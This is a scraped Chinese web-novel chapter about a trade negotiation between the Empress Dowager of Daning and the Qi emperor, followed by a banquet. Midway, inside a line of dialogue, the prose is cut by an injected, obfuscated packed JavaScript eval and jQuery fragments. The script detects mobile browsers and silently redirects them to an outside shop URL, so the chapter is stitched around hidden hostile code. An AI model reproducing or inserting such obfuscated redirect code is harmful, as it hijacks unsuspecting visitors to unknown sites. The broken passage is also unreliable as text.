文趣网 > 都市小说 > 收仇敌之子做我裙下臣 > 51. 会晤
    清晨,云岚一面为陈晚荣梳妆,一面如往日般同她碎碎念,说些她从各处打探来的消息。

    “小姐,听闻齐国此番来了不少人,想来应是很重视此次会晤,只是……”

    说及此,云岚似是想到了什么,梳发的手也顿了一下,有些惴惴不安。

    “此次是齐皇陛下亲自率队,奴婢听闻他从前在与他国谈判时一向强势,从不愿舍了半分好处,实在是个难对付的主儿……想来这次谈判,小姐恐怕又得劳神费力了。”

    陈晚荣不以为意,镜中映出的她,眉目间唯余一片淡然。

    自上回齐国那头的密报传来,原定四月的出访,改定到了三月,她便已猜到,那人此行,怕不只是为了通商。

    待云岚替她将发髻梳好后,陈晚荣转过头,冲她笑了笑。

    “阿岚不必忧虑,好歹与他对峙过,我也多少琢磨出点经验,况这会儿朝臣们都在,情况总不会如上次那般棘手。”

    说完陈晚荣转向镜子,又左顾右盼一番。

    “阿岚梳发的本事又进步了些。瞧瞧这会儿给我梳的发式,多好看,比我自己梳的要好看多了。”

    云岚见状,知这是她放松时才会有的姿态,索性也放心下来,继续为她今日的会晤做些衣着上的准备。

    ……

    午门处,齐国使团各自下了安车,陈晚荣一眼就认出了走在最前面的玄色身影。

    他仍是一身帝王衮服,那些由金线织成的江海暗纹也在日光下熠熠生辉,像无数道金色的水脉,在玄衣间暗暗涌动。

    沉水香的气息渐近,比她先前预想的要浓重些,大约是齐国的水土更宜蓄养此香,又或许,只是因为今日离得比上次要更近些。

    陈晚荣迎上他的目光。

    两年不见,那双上挑的眼尾仍是一如既往的锐利,只是这回,他眼中却似藏了许多更深重的东西,以至与他对视的刹那,她几乎有些喘不过气来。

    跟在他身后的便是何辞白,她如今在齐国官居要职,专掌邦交与传译之事,仪容气度与数年前街头卖身葬母时相比,已是判若两人。

    看见陈晚荣时,何辞白笑了一下,算作致意。

    但很快,她的视线就落在陈晚荣身后,大约半步处的宋清平身上,目光微微一滞。

    宋清平也注意到了何辞白,目光在她面上多停了一瞬,似是有些意外,但很快便收了回去,面上恢复如常。

    宋清平并未认出她。

    待祁自缘在陈晚荣面前站定,陈晚荣终于开口,用的是标准的外交辞令,不卑不亢道。

    “齐皇陛下远道而来,大宁上下,深感荣幸。”

    祁自缘的目光从始至终都未从她面上移开,此时听了这句迎辞,神情未变,颔首回道。

    “太后盛情,朕铭感于心。两国通商之议悬而未决,朕此番前来,正为此事。”(齐语)

    何辞白将他的话翻译给大宁这边后,一旁的宋清平也适时开口,语气言辞俱是得体。

    “齐皇陛下一路辛苦,大宁这边已为陛下备了歇处,若有不周之处,还望陛下见谅。”

    翻译这句时,何辞白面色如常,声音平稳,但那只掩在广袖下的手,却还是在翻译途中,不自觉地蜷缩起来。

    午后,议政殿。

    大宁这边落座时,陈晚荣注意到祁自缘进殿时,先扫了一眼殿内格局,然后才落到她的位置上。

    仍是鹰的习惯,先看地形,再看人。

    谈判进行一阵后,此前几桩循例之事已逐一议定,包括齐国使团在京期间的行程安排、两国信使的往来通道、以及雍门关商路的初步规划,双方进展倒还算顺利。

    直至谈到互市税则一事时,殿中气氛才微妙变了。

    这一回,陈晚荣成了主动出击的那方。几次谈判下来,她也算摸透了齐国这头的行事做派,索性也不拐弯抹角,坦然开口道。

    “当年退兵之际,齐皇陛下曾提□□之数,彼时大宁百废待兴,本宫权且应之。如今两年已过,大宁商路渐通,百姓渐安,若仍以□□计之,恐非两国长久之道。本宫以为,五五分成,方为公允。”

    何辞白翻译这番话时,心底也暗暗一惊。

    陈晚荣一上来就亮了底价,若换作旁人如此,定然是因为鲁莽。可这话从陈晚荣口中说出,就意味着她虽未给大宁留退路,却也同样没给齐国这边留。

    五五之数,想来她此次势在必得。

    果然,等她翻译完这段话后,殿内也瞬间安静下来。

    祁自缘的手指屈起,轻轻在案面上叩了两下。

    过了一会儿,他才转向何辞白,说了一段齐语,不长,但听着并不像在对陈晚荣的提议进行回应。

    何辞白听后神色微妙,但很快就转向大宁那边,将那段齐语翻译成了流利的大宁官话。

    “齐皇陛下说,大宁这两年的恢复速度,确实超出了齐国的预估。陛下对太后的治国之能,深表钦佩。”

    见对话方向忽然从税率分成变成了对她治国之能的称许上,陈晚荣微微一怔,但几乎在何辞白话音落下的同时,她已听出这段话背后的用意——他在拖延,不想这么快将五五之数应下来。

    但陈晚荣不想给他这个机会,洞悉了他的意图后,不过思索片刻,她便再次出声。

    “齐皇陛下过誉了。大宁能有今日,全赖朝中上下齐心,本宫不过居中调度而已。只是通商之事关乎两国百姓生计,还请齐皇陛下明示——五五之数,齐国可有异议?”

    宋清平与她本是同声共气,此时见陈晚荣如此说,自然也开口帮腔,但她的言辞还是沿袭了往日风范,因而也比陈晚荣说的话要直接些,也更带锋芒。

    “本宫以为,太后所言甚是。当初□□之议,是念在齐国退兵,大宁需恢复元气之故。如今时过境迁,若仍沿旧制,于大宁而言未免有失公允。齐皇陛下若当真诚心通商,五五之数,想来也并非不能接受。”

    何辞白将她的话悉数翻译成齐语时,语速虽与方才并无二致,但握着袖口的手,却是不自觉攥得用力了些。

    听完宋清平这番话后,祁自缘沉默了一会儿,忽然抬起头。只是这次他并未转向何辞白,而是面向大宁,直接开口道。

    “五五——可以。”

    他用的是大宁话,咬字比两年前要准确上许多,只是尾调仍带着些许西地才有的腔调。

    宋清平眼中闪过一丝意外,她显然没有料到这位齐国君主竟会通晓大宁语。

    而让陈晚荣意外的并非这件事本身,毕竟上回谈判时,她已知悉此事。

    她只是在意外,没想到这两年祁自缘练这门语言下的功夫,竟远比她想象中要深。

    何辞白也难得顿了一下,但很快,她如常般理了下袖口,恢复了先前的姿态,即便此刻并不需要她翻译些什么。

    祁自缘却没在意大宁这边投来的各色目光,只接着方才所言,继续说下去。

    “但朕有一个条件。雍门关口岸,朕希望增设一处齐国商驿,由齐国派驻商务官员,专司两国互市诸事的调度。”

    此番何辞白不用翻译,倒也让她的脑子腾出了余裕去思考祁自缘此番决策背后的含义。

    齐国商驿,齐国官员,驻于大宁境内,名义上是为互市而设,实则是一只落在棋盘上的活子。眼下看确能使互市便利许多可若从长计议,这便是齐国在大宁境内埋下的一枚暗桩。

    然而真正让何辞白心底微动的却不在于此,而是她立刻想到的另一层——有了这处常驻之所,祁自缘日后来大宁便不必每次都以“会晤”之名行事,一句“视察商务”,便是现成的理由。

    思及此,何辞白不由多看了祁自缘一眼,迅速低下头,嘴角弯了弯,又被她强行压了下去。

    陈晚荣自是听懂了这一层,没有拒绝,只看向祁自缘,含笑开口。

    “齐国商驿一事,干系大宁疆土之治,不可轻议。但若是两国共设商署,各派官员同掌其事,倒也不失为一个折中之法。”

    她虽应下,却把其中最要紧的一处换了,只留了个空架子给他

    祁自缘听完后,目光在陈晚荣的脸上停了一息。

    然后他点了下头,重新转向何辞白吩咐道。

    “朕没有异议。联合商署的具体章程,可由双方官员后续拟订。”(齐语)

    竟就这样快的答应了?

    何辞白心里清楚,按照祁自缘平日议事的做派,这种涉及主权和管辖权的条款,他至少要和幕僚商议一轮才肯松口。

    可今日,他几乎是在太后话音刚落时就点了头。

    见他答应,陈晚荣也乘胜追击,顺势引出了她想要商议的另一条例。

    “除互市税率外,本宫另有一事相商。大宁如今的北境防务尤需加强,若齐国愿在马匹和冶铁之术上予以援助,大宁自当以丝绸,药材,茶叶等特产相酬。”

    这回祁自缘并未像上条那般应得干脆,再看向陈晚荣时,他面上也多了一丝似笑非笑。

    “马匹之事可议,至于冶铁之术……”他顿了顿,眼神也比方才锐利几分,“太后想用几船丝绸茶叶,换朕的国器?”(齐语)

    何辞白传译这句时,殿中大宁一侧的几名朝臣皆是面色微变。

    陈晚荣却像是早就等好了这句话,唇畔的笑意也更深了些。

    “齐皇陛下说的是,方才那些,自然只当得添头。大宁愿以织造之术相易,即缫丝、洛纬、机杼织锦之法,许齐国遣匠人入大宁研习,学成归国。”

    殿内霎时一静。

    织造之术乃大宁独步天下的看家本领,历来蚕桑机杼之法不出关,齐国商船纵横四海,独独这一样,千金难求。

    何辞白一面传译,一面心下暗服。

    术换术——想来她是一早就备了这一手,方才那几样特产,不过是拿来引他入瓮的话头。

    祁自缘盯着陈晚荣看了片刻,忽而低笑一声。

    “太后果然好手段。”他缓声道,“只是朕若没记错,大宁的规矩,蚕种桑苗,从不出关。”(齐语)

    陈晚荣坦然应道:“陛下记得不错,但大宁授的是术,不是种。齐国的机杼织得出锦,丝,还须向大宁买。”

    她把话说得这样明白,反倒教人无从辩驳。

    祁自缘的手搭在案上,指节轻叩两下,末了道。

    “冶铁之术亦然。授

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741420|204799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    术之匠由朕派遣,炉法几何,也是朕说了算。”(齐语)

    两方都留了一手,彼此也都心知肚明。这一条最终也未当场敲定,只议定了“术换术”框架,余下的,留待后议。

    待到最后,祁自缘提了一条,以作收尾。

    “通商既定,往后两国官员往来,想必也会更频繁些。朕以为,不必每次都以会晤为名,日常的商务巡视、使节互访,皆可纳入常例。”(齐语)

    言下之意,他要把这条写进常例里,为日后来大宁铺路。

    这一条陈晚荣也很快应下,但加了一个限制条件,使节互动的礼数和频次,仍需由双方礼部共同拟定。

    祁自缘笑而不语,倒也没有强求。

    他起身时,衣袍上的金线纹路在日光下又闪了一瞬,沉水香的气息也随之散开。

    陈晚荣跟着起身,余光注意到何辞白已经开始收整案上的文书,动作极快,倒是一副公事公办的干练做派。

    ……

    入夜前,云岚替陈晚荣换上赴宴的衣裳,顺嘴问了句白日谈得如何。

    陈晚荣将发间的簪子取下,随手搁在妆匣旁,想了想,回了一句。

    “还行。”

    云岚闻言也不再多问,手上的动作也越发麻利起来。

    她跟了陈晚荣多年,深知“还行”在她嘴里的意思是,事办妥了,但还有没看明白的地方。

    晚宴设在议政殿旁的偏厅,气氛比白日要松快些。

    没了需要商议的正事,陈晚荣也难得与祁自缘寒暄几句,意外发现他的大宁话竟比前两年要好上太多,不止是咬字准了,连措辞都比从前要自然,偶尔甚至还会用上一两个颇为地道的俗语。

    她一时想起杨柳堤上那日,他连一个“五年”都要她伸手比划才能明白的窘迫模样,再看看今日这副对答如流的架势,心中也有些疑惑。

    他若只是为了通商便利,又何须练到这等地步。

    只是这个念头刚一浮起,便被她自行压了下去,只淡淡道。

    “齐皇陛下的大宁话进步不少,本宫倒也该将齐国语捡起来了。”

    与此同时,坐在祁自缘侧后方的何辞白趁着觥筹交错之际,悄悄往宋清平处看了一眼。

    宋清平正握着酒盏,朝身侧之人微微颔首,一旁的张莘便主动上前一步,替她将空着的酒杯斟满。

    何辞白的目光随着张莘的身影移动一瞬,手中的筷子也不自觉捏紧了些,手背上那几根淡青的筋络,也随之凸现出来。

    大约是因通商之事大致议定,宋清平今日兴致很好,宴至过半时,甚至还对着齐国使团这头说了些客套话。

    待她把那番话说完后,何辞白也很快将那段话翻译完毕。

    寻常人学了数年都难以精通的两门语言,到了她嘴里,说起来却如行云流水一般,其流利娴熟,连土生土长的两国人,都未必能及她说得好。

    有这样卓绝的言语天分和传译之能,宋清平不自觉多看了她两眼,重新坐回席间时,她转向陈晚荣,随意道了句。

    “齐国果然不拘一格,竟也有女子在朝堂上做官。”

    宋清平并未特意放低音量,因而这些话,也一字不落地落入了何辞白耳中。

    何辞白举杯的手抖了一下,险些将酒液都倾洒出来。

    再低头时,她忽然感觉身侧有一道视线短暂掠过,旋即移开。

    ……

    宴席接近尾声时,陈晚荣起身,朝着祁自缘隔空敬了一杯,温声道。

    “齐皇陛下不远万里而来,今日又承蒙陛下于通商一事上的诚意,本宫谨以此酒,敬陛下,也敬两国之交。”

    大约是饮了几杯的缘故,陈晚荣的面上也泛起些微红,看向他的时候,那双桃花眼也比白日要明亮一些。

    祁自缘的手摩挲着酒盏边沿,眼底也多了一丝笑,用大宁语回敬道。

    “太后的酒,朕……自然要喝。”

    “朕”字落得很正式,可后面那句“自然要喝”,语气却是有些微妙。

    陈晚荣举杯的手一顿,本能地想要回一句得体的客套,但迎上他那双含笑的眼睛,那句话便不自觉被她咽了回去。

    于是她没再说什么,仍摆着太后的端庄姿态,低下头,将杯中酒一饮而尽。

    ……

    是夜。

    陈晚荣坐在案前,将白日里谈判的几条关键要点逐一落于纸上时,忽然后知后觉,意识到了一件事。

    今日谈判时,祁自缘让步得似乎有些太快了——五五分成刚开口他就答应下来,联合商署的提议他也几乎没有还价,连马匹贸易这等关系兵备的买卖,他都表现出了可以商量的态度。

    以他的心性和齐国的国力,大可在每一条上都同她慢慢磨。

    陈晚荣搁下笔,看着纸面上那几行字,微微蹙眉。

    他今日这般配合,无非有两种可能。要么是通商对齐国而言,利益远大于所让之数,此举不过是以退为进;要么就是他此行本就志不在此,通商只是顺带,他另有图谋。

    至于是哪一种……

    眼下端倪太少,她暂时不敢断言,且再等几日,看看他究竟想要做什么。